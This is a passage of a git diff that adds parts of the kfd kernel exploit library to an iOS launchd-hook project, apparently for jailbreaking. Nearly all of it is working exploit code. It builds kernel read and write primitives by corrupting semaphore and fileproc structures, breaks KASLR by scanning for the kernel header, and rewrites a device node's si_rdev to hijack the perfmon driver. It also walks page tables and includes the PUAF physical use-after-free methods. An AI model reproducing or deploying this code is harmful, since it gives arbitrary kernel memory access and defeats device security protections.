PROC_PIDFDPSEMINFO; + u64 arg = fds[object_id]; + u64 buffer = (u64)(&data); + i32 buffersize = (i32)(sizeof(struct psem_fdinfo)); + + const u64 shift_amount = 4; + pnode[0].pinfo += shift_amount; + assert(syscall(SYS_proc_info, callnum, pid, flavor, arg, buffer, buffersize) == buffersize); + pnode[0].pinfo -= shift_amount; + + if (!memcmp(&data.pseminfo.psem_name[0], &sem_data->pseminfo.psem_name[shift_amount], 16)) { + kfd->kread.krkw_object_id = object_id; + return true; + } + } + + /* + * False alarm: it wasn't one of our psemmode objects. + */ + print_warning("failed to find modified psem_name sentinel"); + } + + return false; +} + +void kread_sem_open_kread(struct kfd* kfd, u64 kaddr, void* uaddr, u64 size) +{ + kread_from_method(u64, kread_sem_open_kread_u64); +} + +void kread_sem_open_find_proc(struct kfd* kfd) +{ + volatile struct psemnode* pnode = (volatile struct psemnode*)(kfd->kread.krkw_object_uaddr); + u64 pseminfo_kaddr = pnode->pinfo; + u64 semaphore_kaddr = static_kget(struct pseminfo, psem_semobject, pseminfo_kaddr); + u64 task_kaddr = static_kget(struct semaphore, owner, semaphore_kaddr); + + + bool EXPERIMENTAL_DYNAMIC_PATCHFINDER = true; + if(import_kfd_offsets() == -1 && EXPERIMENTAL_DYNAMIC_PATCHFINDER) { + //Step 1. break kaslr + printf("kernel_task: 0x%llx\n", task_kaddr); + + uint64_t kerntask_vm_map = 0; + kread((u64)kfd, task_kaddr + 0x28, &kerntask_vm_map, sizeof(kerntask_vm_map)); + kerntask_vm_map = UNSIGN_PTR(kerntask_vm_map); + printf("kernel_task->vm_map: 0x%llx\n", kerntask_vm_map); + + uint64_t kerntask_pmap = 0; + kread((u64)kfd, kerntask_vm_map + 0x40, &kerntask_pmap, sizeof(kerntask_pmap)); + kerntask_pmap = UNSIGN_PTR(kerntask_pmap); + printf("kernel_task->vm_map->pmap: 0x%llx\n", kerntask_pmap); + + /* Pointer to the root translation table. */ /* translation table entry */ + uint64_t kerntask_tte = 0; + kread((u64)kfd, kerntask_pmap, &kerntask_tte, sizeof(kerntask_tte)); + kerntask_tte = UNSIGN_PTR(kerntask_tte); + printf("kernel_task->vm_map->pmap->tte: 0x%llx\n", kerntask_tte); + + uint64_t kerntask_tte_page = kerntask_tte & ~(0xfff); + printf("kerntask_tte_page: 0x%llx\n", kerntask_tte_page); + + uint64_t kbase = 0; + while (true) { + uint64_t val = 0; + kread((u64)kfd, kerntask_tte_page, &val, sizeof(val)); + if(val == 0x100000cfeedfacf) { + kread((u64)kfd, kerntask_tte_page + 0x18, &val, sizeof(val)); + //arm64e: check if mach_header_64->flags, mach_header_64->reserved are all 0 + //arm64: check if mach_header_64->flags == 0x200001 and mach_header_64->reserved == 0; 0x200001 + if(val == 0 || val == 0x200001) { + kbase = kerntask_tte_page; + break; + } + } + kerntask_tte_page -= 0x1000; + } + uint64_t vm_kernel_link_addr = get_vm_kernel_link_addr(); + printf("defeated kaslr, kbase: 0x%llx, kslide: 0x%llx\n", kbase, kbase - vm_kernel_link_addr); + + //Step 2. run dynamic patchfinder + do_dynamic_patchfinder((u64)kfd, kbase); + } + + //Step 3. set offsets from patchfinder or import_kfd_offsets(). + kern_versions[kfd->info.env.vid].kernelcache__cdevsw = off_cdevsw; + kern_versions[kfd->info.env.vid].kernelcache__gPhysBase = off_gPhysBase; + kern_versions[kfd->info.env.vid].kernelcache__gPhysSize = off_gPhysSize; + kern_versions[kfd->info.env.vid].kernelcache__gVirtBase = off_gVirtBase; + kern_versions[kfd->info.env.vid].kernelcache__perfmon_dev_open = off_perfmon_dev_open; + kern_versions[kfd->info.env.vid].kernelcache__perfmon_devices = off_perfmon_devices; + kern_versions[kfd->info.env.vid].kernelcache__ptov_table = off_ptov_table; + kern_versions[kfd->info.env.vid].kernelcache__vn_kqfilter = off_vn_kqfilter; + kern_versions[kfd->info.env.vid].proc__object_size = off_proc_object_size; + + u64 proc_kaddr = task_kaddr - dynamic_info(proc__object_size); + kfd->info.kaddr.kernel_proc = proc_kaddr; + + /* + * Go backwards from the kernel_proc, which is the last proc in the list. + */ + while (true) { + i32 pid = dynamic_kget(proc__p_pid, proc_kaddr); + if (pid == kfd->info.env.pid) { + kfd->info.kaddr.current_proc = proc_kaddr; + break; + } + + proc_kaddr = dynamic_kget(proc__p_list__le_prev, proc_kaddr); + } +} + +void kread_sem_open_deallocate(struct kfd* kfd, u64 id) +{ + /* + * Let kwrite_sem_open_deallocate() take care of + * deallocating all the shared file descriptors. + */ + return; +} + +void kread_sem_open_free(struct kfd* kfd) +{ + /* + * Let's null out the kread reference to the shared data buffer + * because kwrite_sem_open_free() needs it and will free it. + */ + kfd->kread.krkw_method_data = NULL; +} + +/* + * 64-bit kread function. + */ + +u64 kread_sem_open_kread_u64(struct kfd* kfd, u64 kaddr) +{ + i32* fds = (i32*)(kfd->kread.krkw_method_data); + i32 kread_fd = fds[kfd->kread.krkw_object_id]; + + volatile struct psemnode* pnode = (volatile struct psemnode*)(kfd->kread.krkw_object_uaddr); + u64 old_pinfo = pnode->pinfo; + u64 new_pinfo = kaddr - offsetof(struct pseminfo, psem_uid); + pnode->pinfo = new_pinfo; + + struct psem_fdinfo data = {}; + i32 callnum = PROC_INFO_CALL_PIDFDINFO; + i32 pid = kfd->info.env.pid; + u32 flavor = PROC_PIDFDPSEMINFO; + u64 arg = kread_fd; + u64 buffer = (u64)(&data); + i32 buffersize = (i32)(sizeof(struct psem_fdinfo)); + assert(syscall(SYS_proc_info, callnum, pid, flavor, arg, buffer, buffersize) == buffersize); + + pnode->pinfo = old_pinfo; + return *(u64*)(&data.pseminfo.psem_stat.vst_uid); +} + +/* + * 32-bit kread function that is guaranteed to not underflow a page, + * i.e. those 4 bytes are the first 4 bytes read by the modified kernel pointer. + */ + +u32 kread_sem_open_kread_u32(struct kfd* kfd, u64 kaddr) +{ + i32* fds = (i32*)(kfd->kread.krkw_method_data); + i32 kread_fd = fds[kfd->kread.krkw_object_id]; + + volatile struct psemnode* pnode = (volatile struct psemnode*)(kfd->kread.krkw_object_uaddr); + u64 old_pinfo = pnode->pinfo; + u64 new_pinfo = kaddr - offsetof(struct pseminfo, psem_usecount); + pnode->pinfo = new_pinfo; + + struct psem_fdinfo data = {}; + i32 callnum = PROC_INFO_CALL_PIDFDINFO; + i32 pid = kfd->info.env.pid; + u32 flavor = PROC_PIDFDPSEMINFO; + u64 arg = kread_fd; + u64 buffer = (u64)(&data); + i32 buffersize = (i32)(sizeof(struct psem_fdinfo)); + assert(syscall(SYS_proc_info, callnum, pid, flavor, arg, buffer, buffersize) == buffersize); + + pnode->pinfo = old_pinfo; + return *(u32*)(&data.pseminfo.psem_stat.vst_size); +} + +#endif /* kread_sem_open_h */ diff --git a/RootHelperSample/launchdshim/launchdhook/libkfd/krkw/kwrite/kwrite_dup.h b/RootHelperSample/launchdshim/launchdhook/libkfd/krkw/kwrite/kwrite_dup.h new file mode 100644 index 00000000..25200436 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/libkfd/krkw/kwrite/kwrite_dup.h @@ -0,0 +1,145 @@ +/* + * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved. + */ + +#ifndef kwrite_dup_h +#define kwrite_dup_h + +void kwrite_dup_kwrite_u64(struct kfd* kfd, u64 kaddr, u64 new_value); + +void kwrite_dup_init(struct kfd* kfd) +{ + kfd->kwrite.krkw_maximum_id = kfd->info.env.maxfilesperproc - 100; + kfd->kwrite.krkw_object_size = sizeof(struct fileproc); + + kfd->kwrite.krkw_method_data_size = ((kfd->kwrite.krkw_maximum_id + 1) * (sizeof(i32))); + kfd->kwrite.krkw_method_data = malloc_bzero(kfd->kwrite.krkw_method_data_size); + + i32 kqueue_fd = kqueue(); + assert(kqueue_fd > 0); + + i32* fds = (i32*)(kfd->kwrite.krkw_method_data); + fds[kfd->kwrite.krkw_maximum_id] = kqueue_fd; +} + +void kwrite_dup_allocate(struct kfd* kfd, u64 id) +{ + i32* fds = (i32*)(kfd->kwrite.krkw_method_data); + i32 kqueue_fd = fds[kfd->kwrite.krkw_maximum_id]; + i32 fd = dup(kqueue_fd); + assert(fd > 0); + fds[id] = fd; +} + +bool kwrite_dup_search(struct kfd* kfd, u64 object_uaddr) +{ + volatile struct fileproc* fp = (volatile struct fileproc*)(object_uaddr); + i32* fds = (i32*)(kfd->kwrite.krkw_method_data); + + if ((fp->fp_iocount == 1) && + (fp->fp_vflags == 0) && + (fp->fp_flags == 0) && + (fp->fp_guard_attrs == 0) && + (fp->fp_glob > PTR_MASK) && + (fp->fp_guard == 0)) { + for (u64 object_id = kfd->kwrite.krkw_searched_id; object_id < kfd->kwrite.krkw_allocated_id; object_id++) { + assert_bsd(fcntl(fds[object_id], F_SETFD, FD_CLOEXEC)); + + if (fp->fp_flags == 1) { + kfd->kwrite.krkw_object_id = object_id; + return true; + } + + assert_bsd(fcntl(fds[object_id], F_SETFD, 0)); + } + + /* + * False alarm: it wasn't one of our fileproc objects. + */ + print_warning("failed to find modified fp_flags sentinel"); + } + + return false; +} + +void kwrite_dup_kwrite(struct kfd* kfd, void* uaddr, u64 kaddr, u64 size) +{ + kwrite_from_method(u64, kwrite_dup_kwrite_u64); +} + +void kwrite_dup_find_proc(struct kfd* kfd) +{ + /* + * Assume that kread is responsible for that. + */ + return; +} + +void kwrite_dup_deallocate(struct kfd* kfd, u64 id) +{ + i32* fds = (i32*)(kfd->kwrite.krkw_method_data); + assert_bsd(close(fds[id])); +} + +void kwrite_dup_free(struct kfd* kfd) +{ + kwrite_dup_deallocate(kfd, kfd->kwrite.krkw_object_id); + kwrite_dup_deallocate(kfd, kfd->kwrite.krkw_maximum_id); +} + +/* + * 64-bit kwrite function. + */ + +void kwrite_dup_kwrite_u64(struct kfd* kfd, u64 kaddr, u64 new_value) +{ + if (new_value == 0) { + print_warning("cannot write 0"); + return; + } + + i32* fds = (i32*)(kfd->kwrite.krkw_method_data); + i32 kwrite_fd = fds[kfd->kwrite.krkw_object_id]; + u64 fileproc_uaddr = kfd->kwrite.krkw_object_uaddr; + volatile struct fileproc* fp = (volatile struct fileproc*)(fileproc_uaddr); + + const bool allow_retry = false; + + do { + u64 old_value = 0; + kread((u64)(kfd), kaddr, &old_value, sizeof(old_value)); + + if (old_value == 0) { + print_warning("cannot overwrite 0"); + return; + } + + if (old_value == new_value) { + break; + } + + u16 old_fp_guard_attrs = fp->fp_guard_attrs; + u16 new_fp_guard_attrs = GUARD_REQUIRED; + fp->fp_guard_attrs = new_fp_guard_attrs; + + u64 old_fp_guard = fp->fp_guard; + u64 new_fp_guard = kaddr - offsetof(struct fileproc_guard, fpg_guard); + fp->fp_guard = new_fp_guard; + + u64 guard = old_value; + u32 guardflags = GUARD_REQUIRED; + u64 nguard = new_value; + u32 nguardflags = GUARD_REQUIRED; + + if (allow_retry) { + syscall(SYS_change_fdguard_np, kwrite_fd, &guard, guardflags, &nguard, nguardflags, NULL); + } else { + assert_bsd(syscall(SYS_change_fdguard_np, kwrite_fd, &guard, guardflags, &nguard, nguardflags, NULL)); + } + + fp->fp_guard_attrs = old_fp_guard_attrs; + fp->fp_guard = old_fp_guard; + } while (allow_retry); +} + +#endif /* kwrite_dup_h */ diff --git a/RootHelperSample/launchdshim/launchdhook/libkfd/krkw/kwrite/kwrite_sem_open.h b/RootHelperSample/launchdshim/launchdhook/libkfd/krkw/kwrite/kwrite_sem_open.h new file mode 100644 index 00000000..115bf69c --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/libkfd/krkw/kwrite/kwrite_sem_open.h @@ -0,0 +1,86 @@ +/* + * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved. + */ + +#ifndef kwrite_sem_open_h +#define kwrite_sem_open_h + +void kwrite_sem_open_init(struct kfd* kfd) +{ + kfd->kwrite.krkw_maximum_id = kfd->kread.krkw_maximum_id; + kfd->kwrite.krkw_object_size = sizeof(struct fileproc); + + kfd->kwrite.krkw_method_data_size = kfd->kread.krkw_method_data_size; + kfd->kwrite.krkw_method_data = kfd->kread.krkw_method_data; +} + +void kwrite_sem_open_allocate(struct kfd* kfd, u64 id) +{ + if (id == 0) { + id = kfd->kwrite.krkw_allocated_id = kfd->kread.krkw_allocated_id; + if (kfd->kwrite.krkw_allocated_id == kfd->kwrite.krkw_maximum_id) { + /* + * Decrement krkw_allocated_id to account for increment in + * krkw_helper_run_allocate(), because we return without allocating. + */ + kfd->kwrite.krkw_allocated_id--; + return; + } + } + + /* + * Just piggyback. + */ + kread_sem_open_allocate(kfd, id); +} + +bool kwrite_sem_open_search(struct kfd* kfd, u64 object_uaddr) +{ + /* + * Just piggyback. + */ + return kwrite_dup_search(kfd, object_uaddr); +} + +void kwrite_sem_open_kwrite(struct kfd* kfd, void* uaddr, u64 kaddr, u64 size) +{ + /* + * Just piggyback. + */ + kwrite_dup_kwrite(kfd, uaddr, kaddr, size); +} + +void kwrite_sem_open_find_proc(struct kfd* kfd) +{ + /* + * Assume that kread is responsible for that. + */ + return; +} + +void kwrite_sem_open_deallocate(struct kfd* kfd, u64 id) +{ + /* + * Skip the deallocation for the kread object because we are + * responsible for deallocating all the shared file descriptors. + */ + if (id != kfd->kread.krkw_object_id) { + i32* fds = (i32*)(kfd->kwrite.krkw_method_data); + assert_bsd(close(fds[id])); + } +} + +void kwrite_sem_open_free(struct kfd* kfd) +{ + /* + * Note that we are responsible to deallocate the kread object, but we must + * discard its object id because of the check in kwrite_sem_open_deallocate(). + */ + u64 kread_id = kfd->kread.krkw_object_id; + kfd->kread.krkw_object_id = (-1); + kwrite_sem_open_deallocate(kfd, kread_id); + kwrite_sem_open_deallocate(kfd, kfd->kwrite.krkw_object_id); + kwrite_sem_open_deallocate(kfd, kfd->kwrite.krkw_maximum_id); +} + +#endif /* kwrite_sem_open_h */ diff --git a/RootHelperSample/launchdshim/launchdhook/libkfd/perf.h b/RootHelperSample/launchdshim/launchdhook/libkfd/perf.h new file mode 100644 index 00000000..e0ea8222 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/libkfd/perf.h @@ -0,0 +1,323 @@ +/* + * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved. + */ + +#ifndef perf_h +#define perf_h + +// Forward declarations for helper functions. +u64 phystokv(struct kfd* kfd, u64 pa); +u64 vtophys(struct kfd* kfd, u64 va); + +void perf_kread(struct kfd* kfd, u64 kaddr, void* uaddr, u64 size) +{ + assert((size != 0) && (size <= UINT16_MAX)); + assert(kfd->perf.shared_page.uaddr); + assert(kfd->perf.shared_page.kaddr); + + volatile struct perfmon_config* config = (volatile struct perfmon_config*)(kfd->perf.shared_page.uaddr); + *config = (volatile struct perfmon_config){}; + config->pc_spec.ps_events = (struct perfmon_event*)(kaddr); + config->pc_spec.ps_event_count = (u16)(size); + + struct perfmon_spec spec_buffer = {}; + spec_buffer.ps_events = (struct perfmon_event*)(uaddr); + spec_buffer.ps_event_count = (u16)(size); + assert_bsd(ioctl(kfd->perf.dev.fd, PERFMON_CTL_SPECIFY, &spec_buffer)); + + *config = (volatile struct perfmon_config){}; +} + +void perf_kwrite(struct kfd* kfd, void* uaddr, u64 kaddr, u64 size) +{ + assert((size != 0) && ((size % sizeof(u64)) == 0)); + assert(kfd->perf.shared_page.uaddr); + assert(kfd->perf.shared_page.kaddr); + + volatile struct perfmon_config* config = (volatile struct perfmon_config*)(kfd->perf.shared_page.uaddr); + volatile struct perfmon_source* source = (volatile struct perfmon_source*)(kfd->perf.shared_page.uaddr + sizeof(*config)); + volatile struct perfmon_event* event = (volatile struct perfmon_event*)(kfd->perf.shared_page.uaddr + sizeof(*config) + sizeof(*source)); + + u64 source_kaddr = kfd->perf.shared_page.kaddr + sizeof(*config); + u64 event_kaddr = kfd->perf.shared_page.kaddr + sizeof(*config) + sizeof(*source); + + for (u64 i = 0; i < (size / sizeof(u64)); i++) { + *config = (volatile struct perfmon_config){}; + *source = (volatile struct perfmon_source){}; + *event = (volatile struct perfmon_event){}; + + config->pc_source = (struct perfmon_source*)(source_kaddr); + config->pc_spec.ps_events = (struct perfmon_event*)(event_kaddr); + config->pc_counters = (struct perfmon_counter*)(kaddr + (i * sizeof(u64))); + + source->ps_layout.pl_counter_count = 1; + source->ps_layout.pl_fixed_offset = 1; + + struct perfmon_event event_buffer = {}; + u64 kvalue = ((volatile u64*)(uaddr))[i]; + event_buffer.pe_number = kvalue; + assert_bsd(ioctl(kfd->perf.dev.fd, PERFMON_CTL_ADD_EVENT, &event_buffer)); + } + + *config = (volatile struct perfmon_config){}; + *source = (volatile struct perfmon_source){}; + *event = (volatile struct perfmon_event){}; +} + +void perf_init(struct kfd* kfd) +{ + if (!kern_versions[kfd->info.env.vid].perf_supported) { + return; + } + + /* + * Allocate a page that will be used as a shared buffer between user space and kernel space. + */ + vm_address_t shared_page_address = 0; + vm_size_t shared_page_size = pages(1); + assert_mach(vm_allocate(mach_task_self(), &shared_page_address, shared_page_size, VM_FLAGS_ANYWHERE)); + memset((void*)(shared_page_address), 0, shared_page_size); + kfd->perf.shared_page.uaddr = shared_page_address; + kfd->perf.shared_page.size = shared_page_size; + + /* + * Open a "/dev/aes_0" descriptor, then use it to find the kernel slide. + */ + kfd->perf.dev.fd = open("/dev/aes_0", O_RDWR); + assert(kfd->perf.dev.fd > 0); +} + +void perf_run(struct kfd* kfd) +{ + if (!kern_versions[kfd->info.env.vid].perf_supported) { + return; + } + + assert(kfd->info.kaddr.current_proc); + u64 fd_ofiles = dynamic_kget(proc__p_fd__fd_ofiles, kfd->info.kaddr.current_proc); + u64 fileproc_kaddr = UNSIGN_PTR(fd_ofiles) + (kfd->perf.dev.fd * sizeof(u64)); + u64 fileproc = 0; + kread((u64)(kfd), fileproc_kaddr, &fileproc, sizeof(fileproc)); + u64 fp_glob_kaddr = fileproc + offsetof(struct fileproc, fp_glob); + u64 fp_glob = 0; + kread((u64)(kfd), fp_glob_kaddr, &fp_glob, sizeof(fp_glob)); + u64 fg_ops = static_kget(struct fileglob, fg_ops, UNSIGN_PTR(fp_glob)); + u64 fo_kqfilter = static_kget(struct fileops, fo_kqfilter, UNSIGN_PTR(fg_ops)); + u64 vn_kqfilter = UNSIGN_PTR(fo_kqfilter); + u64 kernel_slide = vn_kqfilter - dynamic_info(kernelcache__vn_kqfilter); + u64 kernel_base = ARM64_LINK_ADDR + kernel_slide; + kfd->perf.kernel_slide = kernel_slide; + print_x64(kfd->perf.kernel_slide); + + if (kfd->kread.krkw_method_ops.kread == kread_sem_open_kread) { + u32 mh_header[2] = {}; + mh_header[0] = kread_sem_open_kread_u32(kfd, kernel_base); + mh_header[1] = kread_sem_open_kread_u32(kfd, kernel_base + 4); + assert(mh_header[0] == 0xfeedfacf); + assert(mh_header[1] == 0x0100000c); + } + + /* + * Corrupt the "/dev/aes_0" descriptor into a "/dev/perfmon_core" descriptor. + */ + u64 fg_data = static_kget(struct fileglob, fg_data, UNSIGN_PTR(fp_glob)); + u64 v_specinfo = static_kget(struct vnode, v_un.vu_specinfo, UNSIGN_PTR(fg_data)); + kfd->perf.dev.si_rdev_kaddr = UNSIGN_PTR(v_specinfo) + offsetof(struct specinfo, si_rdev); + kread((u64)(kfd), kfd->perf.dev.si_rdev_kaddr, &kfd->perf.dev.si_rdev_buffer, sizeof(kfd->perf.dev.si_rdev_buffer)); + + u64 cdevsw_kaddr = dynamic_info(kernelcache__cdevsw) + kernel_slide; + u64 perfmon_dev_open_kaddr = dynamic_info(kernelcache__perfmon_dev_open) + kernel_slide; + u64 cdevsw[14] = {}; + u32 dev_new_major = 0; + for (u64 dmaj = 0; dmaj < 64; dmaj++) { + u64 kaddr = cdevsw_kaddr + (dmaj * sizeof(cdevsw)); + kread((u64)(kfd), kaddr, &cdevsw, sizeof(cdevsw)); + u64 d_open = UNSIGN_PTR(cdevsw[0]); + if (d_open == perfmon_dev_open_kaddr) { + dev_new_major = (dmaj << 24); + break; + } + } + + u32 new_si_rdev_buffer[2] = {}; + new_si_rdev_buffer[0] = dev_new_major; + new_si_rdev_buffer[1] = kfd->perf.dev.si_rdev_buffer[1] + 1; + kwrite((u64)(kfd), &new_si_rdev_buffer, kfd->perf.dev.si_rdev_kaddr, sizeof(new_si_rdev_buffer)); + + /* + * Find ptov_table, gVirtBase, gPhysBase, gPhysSize, TTBR0 and TTBR1. + */ + u64 ptov_table_kaddr = dynamic_info(kernelcache__ptov_table) + kernel_slide; + kread((u64)(kfd), ptov_table_kaddr, &kfd->perf.ptov_table, sizeof(kfd->perf.ptov_table)); + + u64 gVirtBase_kaddr = dynamic_info(kernelcache__gVirtBase) + kernel_slide; + kread((u64)(kfd), gVirtBase_kaddr, &kfd->perf.gVirtBase, sizeof(kfd->perf.gVirtBase)); + print_x64(kfd->perf.gVirtBase); + + u64 gPhysBase_kaddr = dynamic_info(kernelcache__gPhysBase) + kernel_slide; + kread((u64)(kfd), gPhysBase_kaddr, &kfd->perf.gPhysBase, sizeof(kfd->perf.gPhysBase)); + print_x64(kfd->perf.gPhysBase); + + u64 gPhysSize_kaddr = dynamic_info(kernelcache__gPhysSize) + kernel_slide; + kread((u64)(kfd), gPhysSize_kaddr, &kfd->perf.gPhysSize, sizeof(kfd->perf.gPhysSize)); + print_x64(kfd->perf.gPhysSize); + + assert(kfd->info.kaddr.current_pmap); + kfd->perf.ttbr[0].va = static_kget(struct pmap, tte, kfd->info.kaddr.current_pmap); + kfd->perf.ttbr[0].pa = static_kget(struct pmap, ttep, kfd->info.kaddr.current_pmap); + assert(phystokv(kfd, kfd->perf.ttbr[0].pa) == kfd->perf.ttbr[0].va); + + assert(kfd->info.kaddr.kernel_pmap); + kfd->perf.ttbr[1].va = static_kget(struct pmap, tte, kfd->info.kaddr.kernel_pmap); + kfd->perf.ttbr[1].pa = static_kget(struct pmap, ttep, kfd->info.kaddr.kernel_pmap); + assert(phystokv(kfd, kfd->perf.ttbr[1].pa) == kfd->perf.ttbr[1].va); + + /* + * Find the shared page in kernel space. + */ + kfd->perf.shared_page.paddr = vtophys(kfd, kfd->perf.shared_page.uaddr); + kfd->perf.shared_page.kaddr = phystokv(kfd, kfd->perf.shared_page.paddr); + + /* + * Set up the perfmon device use for the master kread and kwrite: + * - perfmon_devices[0][0].pmdv_config = kfd->perf.shared_page.kaddr + * - perfmon_devices[0][0].pmdv_allocated = true + */ + struct perfmon_device perfmon_device = {}; + u64 perfmon_device_kaddr = dynamic_info(kernelcache__perfmon_devices) + kernel_slide; + u8* perfmon_device_uaddr = (u8*)(&perfmon_device); + kread((u64)(kfd), perfmon_device_kaddr, &perfmon_device, sizeof(perfmon_device)); + + perfmon_device.pmdv_mutex[1] = (-1); + perfmon_device.pmdv_config = (struct perfmon_config*)(kfd->perf.shared_page.kaddr); + perfmon_device.pmdv_allocated = true; + + kwrite((u64)(kfd), perfmon_device_uaddr + 12, perfmon_device_kaddr + 12, sizeof(u64)); + ((volatile u32*)(perfmon_device_uaddr))[4] = 0; + kwrite((u64)(kfd), perfmon_device_uaddr + 16, perfmon_device_kaddr + 16, sizeof(u64)); + ((volatile u32*)(perfmon_device_uaddr))[5] = 0; + kwrite((u64)(kfd), perfmon_device_uaddr + 20, perfmon_device_kaddr + 20, sizeof(u64)); + kwrite((u64)(kfd), perfmon_device_uaddr + 24, perfmon_device_kaddr + 24, sizeof(u64)); + kwrite((u64)(kfd), perfmon_device_uaddr + 28, perfmon_device_kaddr + 28, sizeof(u64)); + + kfd->perf.saved_kread = kfd->kread.krkw_method_ops.kread; + kfd->perf.saved_kwrite = kfd->kwrite.krkw_method_ops.kwrite; + kfd->kread.krkw_method_ops.kread = perf_kread; + kfd->kwrite.krkw_method_ops.kwrite = perf_kwrite; +} + +void perf_free(struct kfd* kfd) +{ + if (!kern_versions[kfd->info.env.vid].perf_supported) { + return; + } + + kfd->kread.krkw_method_ops.kread = kfd->perf.saved_kread; + kfd->kwrite.krkw_method_ops.kwrite = kfd->perf.saved_kwrite; + + /* + * Restore the "/dev/perfmon_core" descriptor back to the "/dev/aes_0" descriptor. + * Then, close it and deallocate the shared page. + * This leaves the first perfmon device "pmdv_allocated", which is fine. + */ + kwrite((u64)(kfd), &kfd->perf.dev.si_rdev_buffer, kfd->perf.dev.si_rdev_kaddr, sizeof(kfd->perf.dev.si_rdev_buffer)); + assert_bsd(close(kfd->perf.dev.fd)); + assert_mach(vm_deallocate(mach_task_self(), kfd->perf.shared_page.uaddr, kfd->perf.shared_page.size)); +} + +/* + * Helper perf functions. + */ + +u64 phystokv(struct kfd* kfd, u64 pa) +{ + const u64 PTOV_TABLE_SIZE = 8; + const u64 gVirtBase = kfd->perf.gVirtBase; + const u64 gPhysBase = kfd->perf.gPhysBase; + const u64 gPhysSize = kfd->perf.gPhysSize; + const struct ptov_table_entry* ptov_table = &kfd->perf.ptov_table[0]; + + for (u64 i = 0; (i < PTOV_TABLE_SIZE) && (ptov_table[i].len != 0); i++) { + if ((pa >= ptov_table[i].pa) && (pa < (ptov_table[i].pa + ptov_table[i].len))) { + return pa - ptov_table[i].pa + ptov_table[i].va; + } + } + + assert(!((pa < gPhysBase) || ((pa - gPhysBase) >= gPhysSize))); + return pa - gPhysBase + gVirtBase; +} + +u64 vtophys(struct kfd* kfd, u64 va) +{ + const u64 ROOT_LEVEL = PMAP_TT_L1_LEVEL; + const u64 LEAF_LEVEL = PMAP_TT_L3_LEVEL; + + u64 pa = 0; + u64 tt_kaddr = (va >> 63) ? kfd->perf.ttbr[1].va : kfd->perf.ttbr[0].va; + + for (u64 cur_level = ROOT_LEVEL; cur_level <= LEAF_LEVEL; cur_level++) { + u64 offmask, shift, index_mask, valid_mask, type_mask, type_block; + switch (cur_level) { + case PMAP_TT_L0_LEVEL: { + offmask = ARM_16K_TT_L0_OFFMASK; + shift = ARM_16K_TT_L0_SHIFT; + index_mask = ARM_16K_TT_L0_INDEX_MASK; + valid_mask = ARM_TTE_VALID; + type_mask = ARM_TTE_TYPE_MASK; + type_block = ARM_TTE_TYPE_BLOCK; + break; + } + case PMAP_TT_L1_LEVEL: { + offmask = ARM_16K_TT_L1_OFFMASK; + shift = ARM_16K_TT_L1_SHIFT; + index_mask = ARM_16K_TT_L1_INDEX_MASK; + valid_mask = ARM_TTE_VALID; + type_mask = ARM_TTE_TYPE_MASK; + type_block = ARM_TTE_TYPE_BLOCK; + break; + } + case PMAP_TT_L2_LEVEL: { + offmask = ARM_16K_TT_L2_OFFMASK; + shift = ARM_16K_TT_L2_SHIFT; + index_mask = ARM_16K_TT_L2_INDEX_MASK; + valid_mask = ARM_TTE_VALID; + type_mask = ARM_TTE_TYPE_MASK; + type_block = ARM_TTE_TYPE_BLOCK; + break; + } + case PMAP_TT_L3_LEVEL: { + offmask = ARM_16K_TT_L3_OFFMASK; + shift = ARM_16K_TT_L3_SHIFT; + index_mask = ARM_16K_TT_L3_INDEX_MASK; + valid_mask = ARM_PTE_TYPE_VALID; + type_mask = ARM_PTE_TYPE_MASK; + type_block = ARM_TTE_TYPE_L3BLOCK; + break; + } + default: { + assert_false("bad pmap tt level"); + return 0; + } + } + + u64 tte_index = (va & index_mask) >> shift; + u64 tte_kaddr = tt_kaddr + (tte_index * sizeof(u64)); + u64 tte = 0; + kread((u64)(kfd), tte_kaddr, &tte, sizeof(tte)); + + if ((tte & valid_mask) != valid_mask) { + return 0; + } + + if ((tte & type_mask) == type_block) { + pa = ((tte & ARM_TTE_PA_MASK & ~offmask) | (va & offmask)); + break; + } + + tt_kaddr = phystokv(kfd, tte & ARM_TTE_TABLE_MASK); + } + + return pa; +} + +#endif /* perf_h */ diff --git a/RootHelperSample/launchdshim/launchdhook/libkfd/puaf.h b/RootHelperSample/launchdshim/launchdhook/libkfd/puaf.h new file mode 100644 index 00000000..5bf6483a --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/libkfd/puaf.h @@ -0,0 +1,159 @@ +/* + * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved. + */ + +#ifndef puaf_h +#define puaf_h + +// Forward declarations for helper functions. +void puaf_helper_get_vm_map_first_and_last(u64* first_out, u64* last_out); +void puaf_helper_get_vm_map_min_and_max(u64* min_out, u64* max_out); +void puaf_helper_give_ppl_pages(void); + +#include "puaf/landa.h" +#include "puaf/physpuppet.h" +#include "puaf/smith.h" + +#define puaf_method_case(method) \ + case puaf_##method: { \ + const char* method_name = #method; \ + print_string(method_name); \ + kfd->puaf.puaf_method_ops.init = method##_init; \ + kfd->puaf.puaf_method_ops.run = method##_run; \ + kfd->puaf.puaf_method_ops.cleanup = method##_cleanup; \ + kfd->puaf.puaf_method_ops.free = method##_free; \ + break; \ + } + +void puaf_init(struct kfd* kfd, u64 puaf_pages, u64 puaf_method) +{ + kfd->puaf.number_of_puaf_pages = puaf_pages; + kfd->puaf.puaf_pages_uaddr = (u64*)(malloc_bzero(kfd->puaf.number_of_puaf_pages * sizeof(u64))); + + switch (puaf_method) { + puaf_method_case(landa) + puaf_method_case(physpuppet) + puaf_method_case(smith) + } + + kfd->puaf.puaf_method_ops.init(kfd); +} + +void puaf_run(struct kfd* kfd) +{ + puaf_helper_give_ppl_pages(); + + timer_start(); + kfd->puaf.puaf_method_ops.run(kfd); + timer_end(); +} + +void puaf_cleanup(struct kfd* kfd) +{ + timer_start(); + kfd->puaf.puaf_method_ops.cleanup(kfd); + timer_end(); +} + +void puaf_free(struct kfd* kfd) +{ + kfd->puaf.puaf_method_ops.free(kfd); + + bzero_free(kfd->puaf.puaf_pages_uaddr, kfd->puaf.number_of_puaf_pages * sizeof(u64)); + + if (kfd->puaf.puaf_method_data) { + bzero_free(kfd->puaf.puaf_method_data, kfd->puaf.puaf_method_data_size); + } +} + +/* + * Helper puaf functions. + */ + +void 